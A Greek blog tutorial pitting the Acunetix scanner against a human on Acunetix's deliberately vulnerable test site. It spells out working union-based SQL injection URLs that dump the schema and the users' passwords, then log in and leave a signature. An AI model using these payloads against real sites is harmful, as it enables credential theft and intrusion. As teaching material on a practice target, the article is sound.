Το προφίλ μας στο Google Plus
3

PenTest machine VS Human!

Σε κάποιες παλιές, σκοτεινές εποχές, κάποιοι άνθρωποι που κατείχαν τη γνώση την κρατούσαν για τον εαυτό τους. Στην καλύτερη περίπτωση τη μετέφεραν σε πολύ λίγους -και προσεκτικά- επιλεγμένους. Μιλάμε για την εποχή του λεγόμενου ιερατείου της πληροφορικής. Το ιερατείο αυτό αποτελείτο από άτομα με γνώσεις αλλά και με συγκεκριμένη νοοτροπία. Μια νοοτροπία κάστας ή πολύ κλειστής ομάδας. Μια νοοτροπία συνωμοτική κι ενίοτε σκοτεινή. Κάτι που θύμιζε… Αλχημιστή!

Οι εποχές αυτές έχουν περάσει ανεπιστρεπτί. Η εποχή του αυτοματισμού έχει έρθει κι έχει διώξει την παλιά, όπου όλα γίνονταν χειροκίνητα. Για παράδειγμα, πρακτικά οποιοσδήποτε, πλέον, χωρίς πολλές γνώσεις -συχνά χωρίς καν να ξέρει τι ακριβώς κάνει-, μπορεί να χρησιμοποιεί έτοιμα εργαλεία της πληροφορικής. Ο κλάδος της ασφάλειας των πληροφοριακών συστημάτων δεν αποτέλεσε εξαίρεση σ’ αυτόν τον κανόνα. Η κάποτε μυστική (και σκοτεινή) τεχνική του SQL injection, μπορεί να υλοποιηθεί εύκολα με τα δεκάδες έτοιμα toolάκια που κυκλοφορούν!

Πού είναι όμως η μαγεία; Πού είναι η γνώση; Δυστυχώς, τις περισσότερες φορές πουθενά! Επίσης, κάποιος ενδέχεται ν’ αναρωτηθεί αν όλα τα αυτόματα εργαλεία μπορούν να αντικαταστήσουν τον άνθρωπο. Χμ, πολύ καλό ερώτημα. Αυτό που μπορούμε να πούμε με σιγουριά είναι πως μια δοκιμή θα μας πείσει! Σ’ αυτό το άρθρο θα παρουσιάσουμε μια “κόντρα” μεταξύ μιας γνωστής μηχανής εύρεσης αδυναμιών (Penetration Testing Tool) και του ανθρώπου. Κατά τα συνηθισμένα, ο άνθρωπος θα χρησιμοποιήσει τον χειροκίνητο τρόπο. Λέτε να τα καταφέρει καλύτερα; Για να δούμε…

Πριν προχωρήσουμε οφείλουμε να πούμε πως όποιος έχει ως στόχο το χάκινγκ, ασχέτως αν χρησιμοποιεί ή όχι αυτοματοποιημένα εργαλεία, επιβάλλεται να γνωρίζει *και* τον manual τρόπο! Εξάλλου οι χάκερ όταν χρησιμοποιούν εργαλεία τις περισσότερες φορές τα ‘χουν φτιάξει οι ίδιοι κι όλες τις άλλες φορές ξέρουν ακριβώς τι κάνουν και τι κρύβεται πίσω (ή κάτω) από τα εργαλεία που χρησιμοποιούν. Για να το πούμε διαφορετικά, για τους χάκερ δεν υπάρχουν black boxes. Μην ξεχνάτε άλλωστε ότι εκείνοι είν’ αυτοί που κάποτε άνηκαν στο ιερατείο. Όμως από δική τους, συνειδητή επιλογή μοιράζονται πλέον τη γνώση με όλους μας.

Εικόνα 1: Το γνωστό Penetration Testing tool ονόματι Acunetix, σε δράση!

Ένα πολύ γνωστό εργαλείο εύρεσης αδυναμιών σε web sites είναι το Acunetix. Πρόκειται για ένα εργαλείο του οποίου η εμπορική έκδοση ξεκινάει από τα 1000 ευρώ, ενώ η Enterprise Edition, που χρησιμοποιήσαμε εμείς στις δοκιμές μας, ξεκινά από τα 2700 ευρώ. Όπως και να το δείτε, πρόκειται για ένα διόλου ευκαταφρόνητο ποσό. Βέβαια το εργαλείο είναι πάρα πολύ καλό, μιας και παρέχει πολλές και χρήσιμες πληροφορίες στον pen-tester. Το παρόν όμως άρθρο δεν αποτελεί test review του Acunetix Web Vulnerability Scanner (όπως θέλει να το λέμε η ίδια η εταιρία). Πέρα απ’ αυτό, το άρθρο περιγράφει μια άτυπη κόντρα. Ας οριοθετήσουμε, λοιπόν, αυτή την κόντρα, καθορίζοντας τον κοινό στόχο. Ο στόχος είν’ ένα site που μας προσφέρει η ίδια η Acunetix για να δοκιμάσουμε το εργαλείο της. Πρόκειται για το http://test.acunetix.com (βλ. εικόνα 2).

Εικόνα 2: Το test site της Acunetix, αμέριμνο, λίγο πριν το test...

Ως gentlemen που είμαστε θα επιτρέψουμε στο Acunetix ν’ αρχίσει πρώτο τον έλεγχο αδυναμιών. Ξεκινάμε λοιπόν το εργαλείο, δηλώνουμε το site που θέλουμε να σκανάρει, καθόμαστε αναπαυτικά στην πολυθρόνα μας και περιμένουμε. Μετά από μερικά λεπτά το πρόγραμμα έχει βρει αρκετά αδύναμα σημεία (βλ. εικόνα 1). Μεταξύ άλλων, έχει βρει και δυο αδυναμίες SQL injection στα αρχεία artists.php και cart.php. Αυτό είναι κάτι λίγο-πολύ αναμενόμενο, μιας και το συγκεκριμένο site είναι φτιαγμένο γι’ αυτόν ακριβώς το λόγο, οπότε οι αδυναμίες αυτές *μάλλον* είναι σκόπιμα δημιουργημένες ;) Κάπου εδώ τελειώνει η -κατά τα άλλα εντυπωσιακή- εργασία του Acunetix, το οποίο ευγενικά μεν δεικτικά δε, μας πετάει το γάντι. Εμείς φυσικά το σηκώνουμε και πάμε να γεμίσουμε τα δικά μας όπλα. Ξεκινάμε, λοιπόν!

Θα χρησιμοποιήσουμε τον Google Chrome. Πρόκειται για έναν ασφαλή, γρήγορο κι ελαφρύ web browser. Παρέχει και μια πολύ χρήσιμη δυνατότητα: Επιτρέπει το surfing χωρίς να μένουν στον υπολογιστή σχετικά ίχνη (βλ. εικόνα 3).

Εικόνα 3: Για να κάνετε surf από τον Google Chrome χωρίς ν' αφήνετε ίχνη στο PC σας...

Πάμε στο site δοκιμών της Acunetix κι αρχίζουμε να το περιεργαζόμαστε. Μετά από λίγο βρίσκουμε κάτι που μας τραβάει την προσοχή: Στο αριστερό μενού κάνουμε κλικ πάνω στο Browse Categories και μετά στο Posters, δεξιά. Βλέπουμε ότι το URL box είναι το

http://test.acunetix.com/listproducts.php?cat=1 

Χμ, σκεφτόμαστε τώρα δυνατά: Αυτό το cat=1 πιθανό ν’ αποτελεί μέρος μιας εντολής SQL του στυλ

select * from products where cat=1

Αν πειράζαμε το URL και το κάναμε

http://test.acunetix.com/listproducts.php?cat=1+or+1=1

τότε -και με την προϋπόθεση ότι το πρόγραμμα listproducts.php είχε αδυναμία σε SQL injection-, εσωτερικά η βάση δεδομένων θα εκτελούσε το

select * from products where cat=1 or 1=1

Δηλαδή το “or 1=1” θα πήγαινε στη συνθήκη του where και τα “+” θα μεταφράζονταν σε κενά. Η παραπάνω εντολή θα μου επέστρεφε όλες τις εγγραφές του πίνακα σαν να μην υπήρχε συνθήκη, μιας και το “cat=1 or 1=1” είναι *πάντα* true! Πειράζοντας, λοιπόν, το URL κι επιχειρώντας να το επισκεφτούμε, παίρνουμε τα εκπληκτικά αποτελέσματα που φαίνονται στην εικόνα 4!

Εικόνα 4: Το site δοκιμών της Acunetix είναι vulnerable σε SQL injection!

Βλέπουμε ότι το site “έφαγε” το vulnerable URL κι απάντησε μ’ επαναλαμβανόμενες εγγραφές! Αυτό είναι σίγουρα ένα καλό σημάδι για να μας κάνει να προχωρήσουμε τον “έλεγχο” στο συγκεκριμένο URL. Εφόσον λοιπόν το backend του site απάντησε στο SQL injection, ας πάμε στο επόμενο στάδιο. Δοκιμάζουμε τώρα το εξής URL:

http://test.acunetix.com/listproducts.php?cat=1+and+0=1+union+select+1,2,3,4 

Εδώ, απ’ ό,τι βλέπετε, μετά το cat=1 δίνουμε την εντολή 0=1 μαζί με μια εντολή select με union. Δηλαδή η εντολή SQL που θα εκτελεστεί εσωτερικά θα ‘ναι η ακόλουθη:

select * from products where cat=1 or 0=1 union select 1, 2, 3, 4 

Με το 0=1 (το οποίο είναι πάντα false) απενεργοποιούμε τ’ αποτελέσματα της πρώτης εντολής select (της “select * from…”), ενώ με το union εμφανίζουμε τα δικά μας αποτελέσματα με μια δεύτερη, δική μας εντολή select, την “select 1,2,3,4”. Βάζοντας αυτό στο URL παίρνουμε το ακόλουθο λάθος:

Error: The used SELECT statements have a different number of columns
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/default/htdocs/listproducts.php on line 74 

Αυτό που μάς λέει το λάθος είναι ότι το πλήθος των στηλών που έχουμε δώσει (το 1,2,3,4) δεν δεν είναι ίδιο με το πλήθος των στηλών που χρησιμοποιείται στο πρώτο select, το οποίο εμείς δεν μπορούμε να δούμε! Πρέπει λοιπόν ν’ αρχίσουμε να δίνουμε κι άλλα νούμερα, προκειμένου να μεταβάλουμε το πλήθος των στηλών μέχρι να γίνει ίσο μ’ αυτό του πρώτου select και κατά συνέπεια να εξαλειφθεί το λάθος! Πρέπει, δηλαδή, να δίνουμε, διαδοχικά:

select 1, 2, 3, 4, 5
select 1, 2, 3, 4, 5, 6
select 1, 2, 3, 4, 5, 6, 7
...

Βέβαια θα μπορούσαμε να χρησιμοποιήσουμε ένα έτοιμο προγραμματάκι γι’ αυτή τη δουλειά και, παρεμπιπτόντως, η γλώσσα Perl θα ‘ταν ό,τι έπρεπε για να το γράψουμε. Δεν χρειάζεται, όμως. Μετά από λίγες προσπάθειες βρίσκουμε ότι το URL

http://test.acunetix.com/listproducts.php?cat=1+and+0=1+union+select+1,2,3,4,5,6,7,8,9,10,11

είναι η λύση στο πρόβλημα μας, αφού επιστρέφει το εξής αποτέλεσμα που φαίνεται στην εικόνα 5.

Εικόνα 5: Το site δοκιμών είναι vulnerable σε SQL injection και μας εμφανίζει και τ' αποτελέσματα!

Σας μεταφέρουμε τώρα ένα -λίγο πολύ αυτούσιο- απόσπασμα από κάποιο άλλο μας άρθρο:

Πολύ καλά! Εμφανίσαμε τον αριθμό 1 μέσα από SQL injection, που ήταν κι ο αρχικός μας στόχος. Φυσικά, το να εμφανίζουμε τον αριθμό 1 δεν αποτελεί κανένα σπουδαίο σπάσιμο της ασφάλειας του server, αποτελεί όμως μια ανοιχτή κερκόπορτα ή αλλιώς μια μικρή πληγή. Όπως έλεγε κι ένα παλιό διαφημιστικό slogan, μια μικρή πληγή είναι μια μεγάλη πόρτα για τα μικρόβια ;)

Ήρθε λοιπόν η ώρα να δούμε τι ακριβώς μπορεί να προκαλέσει αυτή η μικρή πληγή! Βλέπετε τους αριθμούς 2, 7, 9 κι 11, στην εικόνα 5; Αυτοί προέρχονται από την εντολή που κάναμε inject στο URL. Αν στη θέση των αριθμών αυτών βάζαμε κάποιες στήλες από τους πίνακες της βάσης δεδομένων του site, τότε ίσως θα βλέπαμε κάποιες τιμές που κανονικά *δεν* θα ‘πρεπε. Χμ, πώς θα βρούμε όμως ποιες στήλες και ποιους πίνακες περιέχει η βάση του εν λόγω site; Σ’ αυτό το πρόβλημα έρχεται να μας βοηθήσει η ίδια η MySQL, η οποία μας δίνει έναν πίνακα που ‘ναι γνωστός ως ο πίνακας των πινάκων! Αυτός βρίσκεται σε μια βάση που ονομάζεται information_schema και λέγεται columns. Μεταξύ άλλων, σ’ αυτόν τον πίνακα βρίσκονται και οι παρακάτω στήλες: table_name και column_name. H πρώτη περιέχει τα ονόματα όλων των πινάκων σ’ όλες τις βάσεις δεδομένων του site και η δεύτερη τα ονόματα των στηλών μέσα σε κάθε πίνακα. Τροποποιούμε λοιπόν κατάλληλα το URL, ώστε να πάρουμε αυτήν την πληροφορία από τη βάση δεδομένων:

http://test.acunetix.com/listproducts.php?cat=1+and+0=1+union+select+1,2,3,4,5,6,concat(table_name,char(58),column_name),8,9,10,11+from+information_schema.columns

Δώστε προσοχή στο concat(table_name,char(58),column_name). Εδώ χρησιμοποιούμε ένα πολύ γνωστό τρικ (από το darknet) για να πάρουμε τ’ αποτελέσματα δύο ή παραπάνω στηλών concatenated (συνδεδεμένα) μέσα από την αντικατάσταση μιας μόνο στήλης, της 7. Το char(58) είναι ο χαρακτήρας “:” και το χρησιμοποιούμε για να διαχωρίσουμε το table_name από το column_name. Θα μας πείτε, γιατί δεν βάζουμε κατευθείαν το “:”, δηλαδή γιατί δεν γράφουμε, απλά, concat(table_name,’:’,column_name); Κοιτάξτε, θα μπορούσαμε. Αλλά στη συγκεκριμένα περίπτωση θα παίρναμε error, αφού το site έχει προστασία από επιθέσεις SQL injection κι αποφεύγει να δέχεται χαρακτήρες μέσα σε ” ” από το URL! Βάζοντας όμως στο URL το παραπάνω, έχουμε κάτι πολύ ενδιαφέρον. Τ’ αποτελέσματα φαίνονται στην εικόνα 6.

Εικόνα 6: Ονόματα πινάκων και στηλών από τη βάση δεδομένων, από μια πραγματική επίθεση SQL injection.

Βλέπουμε μια τεράστια λίστα μ’ όλους του πίνακες με τις στήλες τους σ’ όλες τις βάσεις δεδομένων που ‘χει το site! Ψάχνοντας μέσα σ’ αυτά βρίσκουμε κάτι ενδιαφέρον. Τους πίνακες των χρηστών! Άρα, υπάρχει πίνακας χρηστών και λέγεται users (πρωτότυπο όνομα, ε;) με ενδιαφέρουσες στήλες σαν τις uname και pass ;) Έχουμε ήδη τις απαραίτητες πληροφορίες για να πραγματοποιήσουμε μια κατά μέτωπο επίθεση στο site, κάπως έτσι:

http://test.acunetix.com/listproducts.php?cat=1+and+0=1+union+select+1,2,3,4,5,6,concat(uname,char(58),pass),8,9,10,11+from+users+limit+2

Προσέξτε την τελευταία εντολή: “limit 2”. Τη δίνουμε για να περιορίσουμε το πλήθος των αποτελεσμάτων, μιας κι αν είναι πάρα πολλά υπάρχει κίνδυνος να κρασάρει ο browser μας (τι να κάνουμε, κανένας web browser δεν έχει φτιαχτεί για να υποστηρίζει επιθέσεις SQL injection!) Βέβαια έχει ενδιαφέρον να τη δοκιμάσετε και χωρίς το limit 2, αν μη τι άλλο για να κάνετε ένα crash test στον browser σας :) Τ’ αποτελέσματα της παραπάνω εντολής φαίνονται στην εικόνα 7.

Εικόνα 7: Οι χρήστες του απομακρυσμένου συστήματος... στο πιάτο!

Υπάρχει άραγε χρήστης gopala με password gopala; Για να δοκιμάσουμε. Ένα βασικό πρόβλημα που συχνά έχουν οι εισβολείς είναι ότι δεν ξέρουν από πού να μπουν. Ενώ δηλαδή έχουν βρει κάποιους κωδικούς, δεν μπορούν να βρουν το πρόγραμμα που θα τους ζητήσει αυτά τα credentials για να μπουν στο σύστημα! Αυτό ας το ‘χουν υπ’ όψη τους οι διαχειριστές συστημάτων ;) Όμως στο συγκεκριμένο site δεν έχουμε τέτοιο πρόβλημα. Η εισαγωγή του χρήστη γίνεται από… χμ, δείτε την εικόνα 8.

Εικόνα 8: Ας δοκιμάσουμε να μπούμε στο site ως gopala...

“I’m in”, όπως έλεγε κι ο σοφός ήρωας του Matrix! Μπορούμε πλέον ν’ αφήσουμε την υπογραφή ή την αφιέρωσή μας, ώστε να τη βρει ο επόμενος που θα μπει μ’ αυτόν ή κάποιον άλλο τρόπο (βλ. εικόνα 9).

Εικόνα 9: Μια κερκόπορτα και οι συνέπειες της ύπαρξής της! Ας κάνουμε μια αφιέρωση...

Όπως ακριβώς βρήκαμε κι εμείς την υπογραφή του προηγούμενου, έτσι αφήνουμε τη δική μας για να τη βρει ο επόμενος. Μήπως άραγε πίσω απ’ όλα αυτά κρύβεται μια σημειολογία που ζητάει -κι ελπίζει- να την ανακαλύψουμε; Όλα αυτά κυλάνε, μεταφέρονται κι επαναλαμβάνονται όπως η γνώση, η οποία δεν πρέπει να γνωρίζει όρια, ιερατεία και κάστες! Εντάσσονται στο νόμο της εξέλιξης και της προόδου. Μιας προόδου που δεν μπορεί να σταθεί σε μικροπρέπειες κι εγωισμούς περαστικών…

Προσπαθήστε ν’ ανακαλύψετε την πραγματική ουσία, η οποία εντέχνως κρύβεται πίσω από κάθε φαινομενικά άσχετη ή απλή ενέργειά μας, όπως αυτό εδώ το απλοϊκό impersonation… Η γνώση τούτη είναι απλά το μέσο, το κλειδί. Μην την σπαταλάτε σε φτηνούς εντυπωσιασμούς! Ας τη χρησιμοποιήσουμε όλοι για τον πραγματικό λόγο που μας δόθηκε!

Ο νικητής όμως αυτής της κόντρας ποιος είναι; Χμ, μη βιαστείτε ν’ απαντήσετε! Τα αυτόματα προγράμματα που χρησιμοποιήσαμε δεν δημιουργήθηκαν από μόνα τους, ούτε προήλθαν από κάποιον από μηχανής Θεό. Άνθρωποι τα ‘φτιαξαν. Εργαλεία είναι, από άνθρωπο για άνθρωπο. Νικητής από την αναμέτρηση δε νομίζουμε ότι υπάρχει, μιας και στην ουσία είναι μια μάχη του ανθρώπου με… τον εαυτό του!

Έτσι ήταν πάντα.

3 Responses to “PenTest machine VS Human!”

  1. fygas | 09/09/2011 at 02:42

    @thiseas, is o jackass apo to undersec??

  2. NAiToR3 | 11/09/2011 at 14:28

    Μπράβο Θησέα,πολύ κατατοπιστικό άρθρο. ;)

Leave a Reply

You must be logged in to post a comment.

Σύνδεση

Αρχείο δημοσιεύσεων